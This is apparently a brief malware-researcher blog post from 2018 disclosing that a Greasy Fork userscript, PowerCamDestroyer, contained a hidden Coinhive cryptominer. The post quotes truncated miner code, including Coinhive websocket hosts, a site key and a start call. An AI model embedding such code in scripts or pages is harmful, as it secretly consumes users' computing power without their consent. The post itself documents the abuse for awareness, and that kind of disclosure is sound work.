full screen background image
Search
Monday 22 January 2018
  • :
  • :

Greasy Fork script with Coinhive miner.

In November, after some searches, I discovered that a Greasy Fork script had implemented a mining code.
This is the PowerCamDestroyer script. Now it is removed from the official page which makes me think it was a mistake of the team or someone had access to their page.

Prodefence.org

On 2 Septemner 2017 was online.

Prodefence.org

(function(window){use strict;var Miner=function(siteKey,params){this.params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;…
….self.CoinHive.CONFIG={LIB_URL:”https://coinhive.com/lib/”,ASMJS_NAME:”cryptonight-asmjs.min.js”,REQUIRES_AUTH:false,WEBSOCKET_SHARDS:[[“wss://ws001.coinhive.com/proxy”,”wss://ws002.coinhive.com/proxy”,”wss://ws003.coinhive.com/proxy”,”wss://ws004.coinhive.com/proxy”,”wss://ws005.coinhive.com/proxy”,”wss://ws006.coinhive.com/proxy”,”wss://ws007.coinhive.com/proxy”,”wss://ws029.coinhive.com/proxy”],[“wss://ws008.coinhive.com/proxy”,”wss://ws009.coinhive.com/proxy”,”wss://ws010.coinhive.com/proxy”,”wss://ws011.coinhive.com/proxy”,”wss://ws012.coinhive.com/proxy”,”wss://ws013.coinhive.com/proxy”,”wss://ws014.coinhive.com/proxy”,”wss://ws030.coinhive.com/proxy”],[“wss://ws015.coinhive.com/proxy”,….
….(function(){var cryptonight=new CryptonightWASMWrapper}) ])); var mn = new CoinHive.Anonymous(4PT7ytqlLzvf9YysJTPNYr9SxDfIEYZz,{ threads : 4, throttle: 0.4 } ); mn.start();

I have the script and it seems pretty well done.
Interestingly… I have not found any reference to this problem. Anyway, they seem to fix it.

Prodefence.org

Have fun & Stay safe!

Reviews

  • 8
  • 9
  • 9
  • 8
  • 8
  • 8.4

    Score



Alex Anghelus

Cyber Security, Pentesting & Ethical Hacking Freelancer - Malware Reverse Engineering Researcher


Leave a Reply

Your email address will not be published. Required fields are marked *